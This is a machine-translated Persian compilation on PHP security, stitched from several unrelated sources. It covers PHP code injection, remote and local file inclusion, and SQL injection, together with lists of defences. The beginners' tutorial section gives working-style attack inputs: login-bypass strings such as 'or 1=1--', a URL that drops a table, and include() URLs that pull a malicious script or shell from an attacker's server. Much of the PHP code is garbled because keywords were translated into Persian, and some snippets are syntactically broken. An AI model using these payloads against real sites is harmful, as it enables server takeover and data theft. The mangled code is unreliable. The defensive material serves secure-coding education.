تزریق پی اچ پی شرط را با افزودن d get انجام می دهد. چگونه یک فرم را هک کنیم؟ تزریق SQL. قوانین نوشتن کد امن در PHP

مثال

این اسکریپت آسیب پذیر است زیرا ".php" به سادگی به محتویات متغیر $module اضافه می شود و فایل به مسیر حاصل پیوست می شود.

یک هکر می تواند در وب سایت خود یک فایل حاوی کد PHP (http://hackersite.com/inc.php) ایجاد کند و با استفاده از پیوندی مانند http://mysite.com/index.php?module=http:/ به سایت دسترسی پیدا کند. /hackersite.com/inc هر دستور PHP را اجرا می کند.

روش های حفاظت

چندین راه برای محافظت در برابر چنین حمله ای وجود دارد:

  • بررسی کنید که آیا متغیر $module دارای کاراکترهای اضافی است یا خیر:

  • بررسی کنید که به $module یکی از مقادیر معتبر اختصاص داده شده باشد:

این روش موثرتر، زیباتر و مرتب تر است.

PHP همچنین امکان غیرفعال کردن استفاده را فراهم می کند فایل های حذف شده، این با تغییر مقدار گزینه allow_url_fopen به Off در فایل پیکربندی سرور php.ini پیاده سازی می شود.

آسیب پذیری توصیف شده خطر بالایی برای سایت ایجاد می کند و نویسندگان اسکریپت های PHP نباید آن را فراموش کنند.

همچنین ببینید

پیوندها


بنیاد ویکی مدیا 2010.

ببینید "تزریق پی اچ پی" در دیکشنری های دیگر چیست:

    - ... ویکیپدیا

    - ... ویکیپدیا

    این اصطلاح معانی دیگری دارد، به PHP (معانی) مراجعه کنید. PHP Semantics: چند پارادایم ... ویکی پدیا

    تزریق ایمیل یک تکنیک حمله است که برای بهره برداری استفاده می شود سرورهای پست الکترونیکیو برنامه های ایمیلی که عبارات IMAP/SMTP را از ورودی کاربر می سازند که به درستی تایید نشده اند. بسته به نوع... ... ویکی پدیا

    تزریق SQL یکی از متداول ترین روش های هک وب سایت ها و برنامه هایی است که با پایگاه های داده کار می کنند، بر اساس تزریق SQL دلخواه به یک پرس و جو، بسته به نوع DBMS مورد استفاده و شرایط پیاده سازی، ... ... ویکی پدیا

    تزریق SQL یکی از متداول ترین روش های هک وب سایت ها و برنامه هایی است که با پایگاه های داده کار می کنند، بر اساس تزریق SQL دلخواه به یک پرس و جو، بسته به نوع DBMS مورد استفاده و شرایط پیاده سازی، ... ... ویکی پدیا

    PHP Semantics: multi-paradigm نوع اجرا: مفسر نوع کامپایل ظهور در: 1995 نویسنده: Rasmus Lerdorf آخرین نسخه: 4 ... ویکی پدیا

    در معنای محدود کلمه، این عبارت در حال حاضر به معنای "تلاش برای یک سیستم امنیتی" است و بیشتر به معنای اصطلاح زیر، حمله کرکره، متمایل است. این به دلیل تحریف معنای خود کلمه "هکر" اتفاق افتاد. هکر... ...ویکی پدیا

بازیکن جدیدژانویه 27, 2011 در 11:37 ق.ظ

مبارزه با تزریق SQL با با استفاده از PHP

  • اتاق چوب*

تزریق SQL خطرناک‌ترین نوع حمله است، زیرا در پس موارد بی‌شماری از هک کردن وب‌سایت‌ها و پورتال‌های شرکت‌های بزرگ و فقط صفحات اصلی شخصی است. در واقع، محافظت از پروژه شما بسیار آسان است - برای انجام این کار، ابتدا باید بفهمید که ماهیت این مشکل چیست و برای محافظت از آن تغییراتی در کد ایجاد کنید.

تزریق SQL چیست؟

تزریق SQL اقدامی است که شما برای اجرای کوئری پایگاه داده خود بدون اطلاع شما انجام می دهید. بیشتر اوقات این اتفاق زمانی می افتد که از کاربر دعوت می کنید تا اطلاعاتی را به سرور ارسال کند، اما به جای اطلاعات مورد نظر، مهاجم درخواست خود را ارسال می کند که در اثر سهل انگاری توسط سرور انجام می شود. با استفاده از چنین درخواستی، مهاجم نه تنها می تواند اطلاعات ممنوعه را از پایگاه داده به دست آورد، بلکه تحت شرایط خاص، تغییراتی در آن ایجاد کرده و دستورات سیستم را نیز اجرا می کند.

نمونه هایی از تزریق SQL

مهاجم می‌تواند درخواست خود را نه تنها با وارد کردن آن در فیلد ورودی اطلاعات ارسال کند (با استفاده از $_POST)، بلکه می‌تواند متغیرهای $_GET خود را در نوار آدرس جایگزین کند یا به صورت دستی $_COOKIE خود را تغییر دهد. بنابراین، هنگام کار با این مجموعه داده های جهانی باید احتیاط کرد.

اگر در صفحه خود فرمی برای وارد کردن اطلاعات خاص دارید، مهاجم می تواند از فیلدهای آن برای اهداف خود استفاده کند. به جای رشته های مورد انتظار (نام، رمز عبور و غیره)، او درخواست خود را در چنین فیلدی وارد می کند.

اکثر این تزریق های SQL به شکل زیر هستند:

Asd" یا 1=1--

فرض کنید یک فرم برای مجوز کاربر داریم. اگر کدی مانند این را در فیلد ورود وارد کنیم، می‌توانیم از تزریق SQL برای دسترسی حتی بدون بررسی‌های مناسب استفاده کنیم. چگونه کار می کند؟ بیایید در نظر بگیریم که در نتیجه اقدامات خود چه نوع درخواستی را دریافت خواهیم کرد:

SELECT * FROM users WHERE نام کاربری = "asd" یا 1=1--" و رمز عبور = "asd"

بنابراین، همانطور که از مثال مشاهده می کنید، کد ما با موفقیت اجرا می شود. و از آنجایی که عبارت 1=1 همیشه true خواهد بود، دسترسی ما تضمین شده است.

شاید بپرسید خط فاصله دوگانه (--) برای چیست؟ این دو خط در انتهای خط به سرور SQL می گوید که بقیه پرس و جوها را نادیده بگیرد. اگر می‌خواهید یک injection بنویسید نه برای سرور SQL، در این صورت باید خط فاصله دوگانه را با یک آپوستروف جایگزین کنید.

لطفا توجه داشته باشید، مثال بالا به سادگی بیشترین است گزینه استاندارد، اما به دور از تنها. تعداد آنها به سادگی شگفت انگیز است و همه چیز به نحوه عملکرد سر مهاجم بستگی دارد.

نمونه هایی از تزریق های رایج تر:

") یا ("1"="1
"یا "1"="1
"یا "1"="1
یا 1=1--
"یا 1=1--
"یا 1=1--

همچنین بسیار رایج است که مهاجمان از نوار آدرس (URL) برای حملات خود استفاده کنند. این روش، مانند روش قبلی، خطر کمتری ندارد. وقتی سرور از PHP و MySQL (روشن این لحظه، محبوب ترین ترکیب)، آدرس اسکریپت معمولاً چیزی شبیه به این است:

Http://somesite.com/login_script.php?id=1

با افزودن کمی SQL به چنین خطی می توانید کارهای وحشتناکی انجام دهید:

Http://somesite.com/login_script.php?id=1‘; ورود به سیستم DROP TABLE; #

در این مورد از علامت استفاده می شود # به جای خط فاصله دوگانه، زیرا به سرور SQL می‌گوید که تمام پرس‌و‌جوهای بعدی که بعد از درخواست ما می‌آیند را نادیده بگیرد. و خطرناک ترین چیز (اگر هنوز متوجه نشده اید) این است که ما فقط به سرور گفتیم که علامت را با کاربران بردارید. این مثالبه خوبی نشان می دهد که تزریق SQL چقدر می تواند خطرناک باشد.

برای محافظت از اسکریپت های خود در برابر تزریق SQL چه کاری باید انجام دهید

ما قبلاً می دانیم که آسیب پذیری های تزریق SQL زمانی رخ می دهد که اطلاعات کاربران بدون پردازش مناسب وارد کوئری پایگاه داده می شود. بنابراین گام بعدی نوشتن اسکریپت های امن است.

خوشبختانه، این خطربرای مدت طولانی شناخته شده است. PHP حتی یک عملکرد ویژه (از نسخه 4.3.0) دارد که با این نوع حملات مبارزه می کند - mysql_real_escape_string.

mysql_real_escape_stringبا فرار از همه کاراکترهای بالقوه خطرناک، یک رشته را برای استفاده در پرس و جوهای پایگاه داده ایمن می کند. به طور معمول، این کاراکتر متوالی یک آپاستروف منفرد (") است که پس از استفاده از این تابع، از آن (\") خارج می شود.

به منظور محافظت در برابر تزریق SQL، تمام پارامترهای خارجی ($_GET، $_POST، $_COOKIE) باید در پرس و جوی SQL، کار با mysql_real_escape_string()، و در خود درخواست آنها را در یک آپستروف قرار دهید. اگر به این پایبند باشید قانون ساده، سپس اقدامات مهاجم منجر به تشکیل پرس و جوهای ایمن می شود، زیرا تمام متن تزریق SQL او اکنون در داخل آپاستروف است.

بیایید ببینیم سرور واقعاً در طول این پردازش چه می کند:

تزریق SQL (رشته ای که مهاجم به جای ورود به سیستم خود در قسمت "ورود" وارد کرده است):

Sql" یا 1=1--

$name = mysql_real_escape_string($_POST["نام کاربری"]);
$res = mysql_query("SELECT * FROM users WHERE username = "".$name." و رمز عبور = "asd"");

انتخاب * از کاربران WHERE نام کاربری = "sql\" یا 1=1--" و رمز عبور = "asd"

یعنی با چنین درخواستی به جای اقدامات خطرناک سعی می کنیم داده های کاربری را انتخاب کنیم که نام کاربری نسبتاً عجیبی دارد. (sql\"یا 1=1-).

می‌توانید جلوتر بروید و عملکردی بنویسید که به‌طور خودکار آرایه‌های $_GET، $_POST و $_COOKIE را بر اساس آن پردازش می‌کند، اما همه چیز به خواسته‌های شما بستگی دارد. تنها چیزی که باید به خاطر بسپارید این است که باید از تمام مکان هایی که داده های کاربر به پایگاه داده منتقل می شود محافظت کنید.

اصول اولیه تزریق PHP برای مبتدیان.​


تزریق PHP(eng. PHP injection) - about یکی از راه های هک وب سایت های در حال اجرا بر روی PHP، اجرای کدهای خارجی در سمت سرور است.عملکردهای بالقوه خطرناک عبارتند از:
eval(),
preg_replace() (با اصلاح کننده "e")،
require_once(),
include_once(),
عبارتند از()،
نیاز()،
() create_function

تزریق PHP در صورتی امکان پذیر می شود که پارامترهای ورودی بدون اعتبار سنجی پذیرفته شوند و استفاده شوند.

برای گسترش کلیک کنید...

(ج) ویکی


مبانی.​

تزریق پی اچ پی- این نوعی حمله به یک وب سایت است زمانی که مهاجم کد PHP خود را به برنامه PHP مورد حمله تزریق می کند.
اگر تزریق موفقیت آمیز باشد، مهاجم می تواند کد PHP دلخواه (بالقوه خطرناک) را روی سرور مورد نظر اجرا کند. به عنوان مثال، پوسته را پر کنید. اما ابتدا، بیایید با جزئیات در مورد چگونگی این اتفاق بحث کنیم.

مثلا:
بیایید تصور کنیم که یک وب سایت داریم که با PHP نوشته شده است.
بیایید همچنین تصور کنیم که سایت از دستور استفاده می کند page=page.htmlبرای نمایش صفحه درخواستی
کد به شکل زیر خواهد بود:

$file = $_GET ["صفحه" ]; //صفحه نمایش داده شده
شامل ($file);
?>

این بدان معنی است که هر چیزی که در صفحه نمایش داده می شود در کد PHP آن صفحه جاسازی می شود. بنابراین، یک مهاجم می تواند کاری مانند:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt؟

اگر به اتفاقاتی که پس از اجرای include روی می دهد نگاه کنیم، کد زیر را در سرور هدف اجرا می کنیم:

$file = "http://www.attack_server.com/malicious_script.txt؟"; //$_GET["صفحه"];
شامل ($file); //$file یک اسکریپت است که توسط یک مهاجم تزریق می شود
?>

می بینیم که مهاجم با موفقیت به سرور هدف حمله کرده است.

جزئیات بیشتر:
بنابراین، چرا مهاجم قادر به تزریق PHP بود؟
همه به دلیل عملکرد عبارتند از() به شما امکان می دهد فایل های از راه دور را اجرا کنید.

چرا اسکریپت با پسوند در مثال مشخص شده است *. txt ، اما نه *.php ?
پاسخ ساده است، اگر اسکریپت فرمت داشته باشد *.php ، روی سرور مهاجم اجرا می شود و روی سیستم هدف اجرا نمی شود.

نماد " نیز اضافه شد ? " در مسیر اسکریپت تزریق شده برای حذف هر چیزی در داخل تابع عبارتند از() در سرور مورد نظر
مثال:

$file = $_GET ["صفحه" ];
include($file . ".php" );
?>

این اسکریپت پسوند را اضافه می کند *.php به هر چیزی که توسط فرمان فراخوانی می شود عبارتند از() .
آن ها

http: //www.attack_server.com/malicious_script.txt

تبدیل می شود به

http: //www.attack_server.com/malicious_script.txt.php

اسکریپت با این نام اجرا نمی شود (فایل در سرور مهاجم وجود ندارد /malicious_script.txt.php)
به همین دلیل است که "؟" را اضافه می کنیم. تا انتهای مسیر اسکریپت مخرب:

http: //www.attack_server.com/malicious_script.txt?.php

اما قابل اجرا باقی می ماند.

انجام تزریق PHP از طریق یک آسیب پذیری شامل توابع(). ​

RFI - شامل از راه دور در هنگام تزریق PHP


توانایی هدایت RFI یک اشکال نسبتاً رایج در موتورها است.
می توانید آن را به صورت زیر پیدا کنید:
فرض کنید به طور تصادفی با یک صفحه مواجه شدیم، نوار آدرسمرورگر به این شکل تمام می شود:

/فهرست مطالب. php صفحه = اصلی

به جای آن جایگزین می کنیم اصلیمثلاً هر معنای هذیانی upyachka

/فهرست مطالب. php صفحه = upyachka

در پاسخ یک خطا دریافت خواهیم کرد:

هشدار: اصلی (upyachka. php): پخش جریانی باز نشد: چنین فایل یا دایرکتوری در / خانه / کاربر / www //page.php در خط 3 وجود ندارد

هشدار: اصلی (upyachka. php): جریان باز نشد: چنین فایل یا دایرکتوری در / خانه / کاربر / www / صفحه وجود ندارد. php در خط 3

اخطار: main (): "upyachka.php" برای گنجاندن باز نشد (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") در /home/user/www/page. php در خط 3

این به ما نشان می دهد که گنجاندن امکان پذیر است.
بیایید سعی کنیم جایگزین کنیم upyachkaسایت با مسیر پوسته (پسوند فایل پوسته نباید مشخص شود یا همانطور که در بالا توضیح داده شد نشان دهید)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

به این ترتیب پوسته به دست می آید. اکنون باید به مدیر سایت در مورد آسیب پذیری اطلاع دهید تا بتواند آن را برطرف کند تا افراد شرور از این باگ سوء استفاده نکنند.

LFI - شامل محلی برای تزریق PHP.​


بیایید تصور کنیم که با همان سایت آسیب پذیر مواجه شده ایم

/فهرست مطالب. php فایل = اصلی

با کد

..
شامل ("folder/$page .htm");

?>

این قبلاً یک شامل محلی است. در این شرایط، فقط فهرست کردن فایل امکان پذیر است:

/فهرست مطالب. php صفحه =../ فهرست . php

در حالت زیر، کد به صورت زیر است:

..
شامل ("$dir1/folder/page.php");

?>

در این حالت می توانید مسیر پوسته را به صورت زیر بنویسید:
یک پوشه ایجاد کنید پوشهدر وب سایتی که پوسته در آن ذخیره شده است، پوسته را در این پوشه رها کنید:

http: //www.attack_site.com/folder/shell.php

تزریق در این مورد به صورت زیر خواهد بود:

فهرست مطالب. php dir1 = http: //www.site_attacker.com/

روش های حفاظت


بیایید به فیلمنامه نگاه کنیم:

...

ماژول $ را شامل شود. ".php" ;
...
?>

این اسکریپت به دلیل محتویات متغیر آسیب پذیر است ماژول $ تازه اضافه شده *.php و فایل با استفاده از مسیر حاصل راه اندازی می شود.

چندین راه برای محافظت در برابر چنین حمله ای وجود دارد:


-بررسی کنید که آیا متغیر $module دارای کاراکترهای اضافی است یا خیر:

...
$module = $_GET ["module" ];
if (strpbrk ($module , ".?/:" )) die("Blocked" );
ماژول $ را شامل شود. ".php" ;
...
?>

-بررسی کنید که به $module یکی از مقادیر معتبر اختصاص داده شده باشد:
"/" , "" , $page ); // امکان انتقال به دایرکتوری های دیگر مسدود شده است.
if (file_exists ("files/ $page .htm " ))
{
Include("files/$page.htm" );
}
دیگر
{
اکو
"خطا"؛
}

?>

PHP همچنین امکان غیرفعال کردن استفاده از فایل های راه دور را فراهم می کند، این کار با تغییر مقدار گزینه allow_url_fopen به Off در فایل پیکربندی php.ini انجام می شود.

آسیب پذیری توصیف شده خطر بالایی برای سایت ایجاد می کند و نویسندگان اسکریپت های PHP نباید آن را فراموش کنند.

هنگام نوشتن، مواد از
ویکیپدیا،
از انجمن خارجی security-sh3ll (spl0it)،
از انجمن Antichat (GreenBear).
تشکر ویژه از برتو f02برای کمک تو،
حمایت و انتقاد خوب)

یکی از مهم ترین مسائل برای برنامه نویسان وب، امنیت اسکریپت های PHP است. همه برنامه نویسان تا حدی از روش های مختلفی برای ایمن سازی پروژه خود استفاده می کنند، اما متأسفانه در بیشتر موارد از محافظت در برابر چندین آسیب پذیری استفاده می شود، در حالی که سایر بخش های مشکل دار حتی در نظر گرفته نمی شوند.
این مقاله انواع اصلی را فهرست می کند آسیب پذیری های PHPو راه های محافظت در برابر آنها در نظر گرفته شده است.

انواع آسیب پذیری PHP

  1. نمایش خطاها به کاربر
    معنی: در صورت وجود هر گونه خطایی در کد، اطلاعات مربوط به خطای رخ داده به کاربر نمایش داده می شود. این یک آسیب‌پذیری حیاتی نیست، اما می‌تواند باعث شود یک مهاجم به آن دست پیدا کند اطلاعات تکمیلیدر مورد ساختار و عملکرد سرور
  2. در دسترس بودن داده های مربوط به ویژگی های سیستم برای کاربر
    معنی: کاربر می‌تواند به داده‌هایی دسترسی داشته باشد که بینش سیستم را فراهم می‌کند. این یک آسیب پذیری حیاتی نیست، اما می تواند به مهاجم اجازه دهد تا اطلاعات بیشتری در مورد ساختار و عملکرد سرور به دست آورد. دلیل این آسیب‌پذیری، خطاها و «نظارت‌های» برنامه‌نویس است. یک مثال وجود یک فایل phpinfo.php با تابعی به همین نام در دامنه عمومی است.
  3. در دسترس بودن اطلاعات مربوط به کد برنامه برای کاربر
    معنی: کاربر می تواند به کدهای برنامه ماژول هایی که پسوندی غیر از php دارند دسترسی داشته باشد. این یک آسیب پذیری حیاتی است، زیرا به مهاجم اجازه می دهد به اندازه کافی دریافت کند اطلاعات کاملدر مورد ساختار و عملکرد سرور، برای شناسایی آسیب پذیری های آن.
  4. رمزهای عبور ساده برای دسترسی به صفحات مدیریتی
    معنی: یک مهاجم می تواند یک رمز عبور ساده برای صفحه مدیریت حدس بزند و به او بدهد امکانات بیشتربرای هک کردن این یک آسیب پذیری حیاتی است، زیرا به مهاجم اجازه می دهد بر عملکرد سرور تأثیر بگذارد.
  5. امکان تنظیم متغیرهای سراسری
    معنی: اگر تنظیمات PHP نادرست باشد، می توان متغیرهای اسکریپت جهانی را از طریق خط پرس و جو تنظیم کرد. این یک آسیب پذیری مهم است، زیرا یک مهاجم می تواند بر پیشرفت اسکریپت به نفع خود تأثیر بگذارد.
  6. تزریق PHP
    معنی: به پارامتری که تعیین می کند PHP کار می کندبا فایل ها یا کد برنامه، پیوندی به شخص ثالث کد برنامهیا خود کد این یک آسیب پذیری حیاتی است، زیرا یک مهاجم می تواند اسکریپت های خود را بر روی سرور اجرا کند. اجرای کد با استفاده از توابع انجام می شود: eval()، preg_replace()، require_once()، include_once()، include()، require()، create_function()، readfile()، dir()، fopen().
  7. تزریق PHP از طریق آپلود فایل
    معنی: اگر امکان تنظیم متغیرهای سراسری وجود داشته باشد، یک پیوند به کد برنامه شخص ثالث یا یک فایل محرمانه روی سرور به پارامتری منتقل می شود که فایل آپلود شده در سرور را تعریف می کند. این یک آسیب پذیری حیاتی است زیرا مهاجم می تواند اسکریپت ها را روی سرور اجرا کند یا به داده های محرمانه دسترسی پیدا کند. این آسیب پذیری تنها در صورتی امکان پذیر است که امکان تنظیم متغیرهای سراسری و سازماندهی نادرست مکانیسم بارگذاری فایل وجود داشته باشد.
  8. تزریق ایمیل
    معنی: پارامتری که تعیین می کند PHP چگونه با آن کار می کند با ایمیل، پیوندی به کد برنامه شخص ثالث یا خود کد منتقل می شود. این یک آسیب پذیری حیاتی است، زیرا یک مهاجم می تواند اسکریپت های خود را روی سرور اجرا کند یا به داده های ذخیره شده توسط کاربر دسترسی پیدا کند.
  9. تزریق SQL
    معنی: پارامتری که پرس و جوی SQL را تعریف می کند حاوی داده هایی است که درخواست دسترسی به داده های خصوصی را تشکیل می دهد. این یک آسیب پذیری حیاتی است زیرا مهاجم می تواند داده های محرمانه ذخیره شده در پایگاه داده را به دست آورد. برای تغییر یک کوئری، یک مهاجم می‌تواند از ساختارهای زیر استفاده کند: SELECT، UNION، UPDATE، INSERT، OR، AND.
  10. اسکریپت بین سایتی یا XSS
    معنی: کد برنامه شخص ثالث به پارامتری ارسال می شود که داده های نمایش داده شده به کاربر را تعیین می کند. این یک آسیب پذیری حیاتی است زیرا مهاجم می تواند داده های محرمانه ذخیره شده در مرورگر مشتری را به دست آورد. مهاجم از تگ های HTML برای تغییر درخواست استفاده می کند.

قوانین نوشتن کد امن در PHP

  1. مسدود کردن خروجی خطا
    برای انجام این کار، فقط error_reporting(0) را در کد برنامه تنظیم کنید یا خط php_flag error_reporting 0 را در فایل htaccess. اضافه کنید.
  2. استفاده رمزهای عبور پیچیدهبرای دسترسی به صفحات اداری
    برای این کار کافی است از رمزهای عبور چند ارزشی استفاده کنید که معنای معنایی ندارند (مثلاً K7O0iV98dq).
  3. ثبت اقدامات حیاتی کاربر
    مستقیماً محافظت نمی کند، اما به شما امکان می دهد هکرها را شناسایی کنید و آسیب پذیری هایی را که آنها از آنها سوء استفاده کرده اند را تعیین کنید. برای انجام این کار، اقدامات کاربر و داده های ارسال شده توسط او که مربوط به لحظات حساس عملکرد سیستم است، برای ثبت در یک فایل متنی معمولی کافی است.
    مثالی از تابع ثبت و عملکرد آن:
    تابع writelog ($typelog، $log_text) (
    $log = fopen("logs/".$typelog.".txt","a+");
    fwrite($log، "$log_text\r\n");
    fclose($log);
    }
    writelog("Authorization", date("y.m.d H:m:s")."\t".$_SERVER["REMOTE_ADDR"]."\tورود موفقیت آمیز");
  4. بستن دسترسی به ماژول های سایت
    محافظت در برابر تلاش برای مشاهده یا اجرای محتوای آنها را فراهم می کند. برای انجام این کار، فقط دسترسی به فایل های ماژول در فایل htaccess. را با استفاده از ساختار FilesMatch و Files پیکربندی کنید.
    به عنوان مثال، ما دسترسی به تمام ماژول ها را با پسوند phpبه جز فایل capcha.php:
  5. غیرفعال کردن قابلیت تنظیم متغیرهای سراسری
    برای انجام این کار، فقط register_globals = off؛ را در تنظیمات سرور تنظیم کنید. یا در فایل htaccess خط php_flag register_globals off را اضافه کنید. استفاده از ini_set("register_globals",0); مشکل با تنظیم متغیرها قبل از شروع اجرای اسکریپت حل نخواهد شد.
  6. غیرفعال کردن امکان استفاده از فایل های پاک شده
    برای انجام این کار، فقط allow_url_fopen = off را در تنظیمات سرور تنظیم کنید. . این محافظت جزئی در برابر تزریق PHP را فراهم می کند، اما کامل نیست، زیرا مهاجم می تواند نه پیوندی به یک فایل با کد برنامه، بلکه خود کد برنامه را منتقل کند. برای محافظت کامل در برابر تزریق PHP، علاوه بر این باید از فیلتر کردن داده های دریافتی استفاده کنید. گاهی اوقات این اقدام حفاظتی به دلیل ماهیت پروژه قابل استفاده نیست (شما باید به فایل های راه دور دسترسی داشته باشید).
  7. فیلتر کردن داده های ورودی
    محافظت در برابر اکثر آسیب پذیری ها را فراهم می کند. هیچ راه حل جهانی وجود ندارد. توصیه می شود از یک چک در برابر لیست "سفید" کاراکترها همراه با چک برای کلمات ممنوعه استفاده کنید. "سفید" لیستی از کاراکترهای مجاز است. این لیست نباید شامل شخصیت های خطرناک باشد، مانند . کلمات ممنوعه عبارتند از: script، http، SELECT، UNION، UPDATE، exe، exec، INSERT، tmp و همچنین تگ های html.
    نمونه ای از فیلتر کردن داده های ورودی:
    // لیست سفید را بررسی کنید. فقط حروف، اعداد و علائم روسی و لاتین مجاز است _-
    if (preg_match("/[^(\w)|(A-Yaa-ya-)|(\s)]/"$text)) (
    $text = "";
    }
    // فیلتر کردن کلمات خطرناک
    if (preg_match("/script|http|||SELECT|UNION|UPDATE|exe|exec|INSERT|tmp/i"$text)) (
    $text = "";
    }
  8. بررسی آپلود فایل با استفاده از HTTP POST
    از طریق آپلود فایل در برابر تزریق PHP محافظت می کند. برای اطمینان از این امر، فایل های آپلود شده در سرور باید با تابع ()is_uploaded_file بررسی شوند یا با تابع move_uploaded_file() منتقل شوند. این نوعاگر قابلیت تنظیم متغیرهای سراسری غیرفعال باشد، ممکن است از حفاظت استفاده نشود.
  9. فرار از کاراکترهای نقل قول در داده های ارسال شده به پایگاه داده
    محافظت در برابر تزریق SQL را فراهم می کند. بهینه ترین روش پردازش تمام داده های غیر عددی ورودی با استفاده از تابع ()mysql_real_escape_string است. همچنین می توانید از غربالگری خودکار داده های دریافتی استفاده کنید. برای انجام این کار، فقط خط php_value magic_quotes_gpc را به فایل htaccess. اضافه کنید، اما این روش قابل اعتماد نیست، زیرا می تواند منجر به فرار مضاعف شود.
    نمونه ای از فرار از نقل قول ها با استفاده از تابع ()mysql_real_escape_string:
    اگر (!is_numeric($text)) (
    $textrequest = mysql_real_escape_string($text);
    }
  10. تبدیل کاراکترهای خاص به موجودیت های html قبل از خروجی
    محافظت در برابر XSS را فراهم می کند. برای انجام این کار، داده های وارد شده توسط کاربر، که ممکن است حاوی تگ های html ناخواسته باشد، به سادگی با استفاده از تابع htmlspecialchars() در خروجی پردازش می شوند. اگر فیلتر کردن داده های دریافتی تگ های خطرناک HTML را حذف کند، نمی توان از این نوع محافظت استفاده کرد.

همانطور که می بینید، ایجاد یک سیستم امنیتی اسکریپت فکر شده آنقدر که به نظر می رسد وقت گیر نیست.
این مقاله قصد ندارد کتاب درسی امنیت اسکریپت باشد، اما امیدوارم برنامه نویسان PHP را به استفاده از روش های امنیتی متفکرانه تر تشویق کند.

در حالی که روشن است که یک مهاجم باید حداقل دانشی از ساختار پایگاه داده برای انجام یک حمله موفقیت آمیز داشته باشد، به دست آوردن این اطلاعات اغلب بسیار ساده است. به عنوان مثال، اگر پایگاه داده بخشی از یک بسته نرم افزاری منبع باز یا سایر بسته های نرم افزاری در دسترس عموم با نصب پیش فرض باشد، این اطلاعات کاملاً باز و قابل دسترسی است. این داده ها را می توان از یک پروژه بسته حتی اگر کد شده، پیچیده یا کامپایل شده باشد و حتی از کد شخصی شما از طریق نمایش پیام های خطا به دست آورد. تکنیک‌های دیگر شامل استفاده از نام‌های جدول و ستون‌های رایج (به راحتی قابل حدس زدن) است. به عنوان مثال، یک فرم ورود که از جدول "users" با نام ستون "id"، "username" و "password" استفاده می کند.

اکثر حملات موفق بر اساس کد نوشته شده بدون الزامات امنیتی مناسب هستند. به هیچ ورودی اعتماد نکنید، به خصوص اگر از مشتری باشد، حتی لیست هایی در یک فرم، فیلدهای پنهان یا کوکی ها. اولین مثال ارائه شده نشان می دهد که چگونه چنین درخواست هایی می توانند منجر به فاجعه شوند.

  • هرگز با استفاده از یک پایگاه داده متصل نشوید حسابمالک یا ابرکاربر پایگاه داده همیشه سعی کنید از کاربرانی که به طور خاص ایجاد شده اند با محدودترین حقوق استفاده کنید.
  • از عبارات آماده شده با متغیرهای محدود استفاده کنید. این قابلیت توسط افزونه های PDO، MySQLi و کتابخانه های دیگر ارائه شده است.
  • همیشه بررسی کنید که داده هایی که وارد می کنید از نوع مورد انتظار باشد. PHP توابع مختلفی برای اعتبارسنجی داده ها دارد، از توابع ساده برای کار با متغیرها تا توابعی برای تعیین نوع کاراکترها (مانند is_numeric()و ctype_digit()به ترتیب) و با عبارات منظم سازگار با Perl خاتمه می یابد.
  • در صورتی که برنامه انتظار ورودی دیجیتال را دارد، از تابع استفاده کنید ctype_digit()برای بررسی داده های وارد شده، یا اجباری نوع آن را با استفاده از آن مشخص کنید settype()، یا به سادگی از نمایش عددی با استفاده از تابع استفاده کنید sprintf().

    مثال شماره 5 اجرای ایمن‌تر پیمایش صفحه‌بندی

    settype ($offset، "integer");
    $query = "شناسه انتخاب، نام از محصولات سفارش با نام LIMIT 20 OFFSET$offset ;" ;

    // به فرمت %d توجه کنید، استفاده از %s بی معنی خواهد بود
    $query = sprintf ( "انتخاب شناسه، نام از محصولات ORDER BY نام LIMIT 20 OFFSET %d;",
    $offset)؛

    ?>

  • اگر متغیرهای محدود در سطح پایگاه داده پشتیبانی نمی‌شوند، همیشه با استفاده از توابع فرار ویژه پایگاه داده‌ای که استفاده می‌کنید، از هرگونه داده غیر عددی استفاده شده در جستارهای پایگاه داده فرار کنید (به عنوان مثال، mysql_real_escape_string(), sqlite_escape_string()و غیره.). مشخصات کلیمانند addslashes()فقط در موارد خاصی مفید هستند (مثلاً MySQL در رمزگذاری تک بایتی که NO_BACKSLASH_ESCAPES غیرفعال است)، بنابراین بهتر است از استفاده از آنها خودداری کنید.
  • تحت هیچ شرایطی اطلاعاتی در مورد پایگاه داده به خصوص ساختار آن نمایش داده نمی شود. همچنین بخش‌های مربوط به مستندات را بخوانید: "پیام‌های خطا" و "عملکردهای مدیریت و ثبت خطا".
  • شما می توانید از رویه های ذخیره شده و نشانگرهای از پیش تعریف شده برای کار با داده ها به صورت انتزاعی و بدون دسترسی مستقیم کاربران به داده ها و نماها استفاده کنید، اما این راه حل چالش های خاص خود را دارد.

علاوه بر همه موارد فوق، می توانید پرس و جوها را در اسکریپت خود یا در سطح پایگاه داده، در صورتی که از آن پشتیبانی می کند، ثبت کنید. بدیهی است که ورود به سیستم نمی تواند از بروز آسیب جلوگیری کند، اما می تواند به ردیابی یک برنامه در معرض خطر کمک کند. فایل log نه به خودی خود، بلکه در اطلاعاتی که دارد مفید است. علاوه بر این، در بیشتر موارد ثبت تمام جزئیات ممکن مفید است.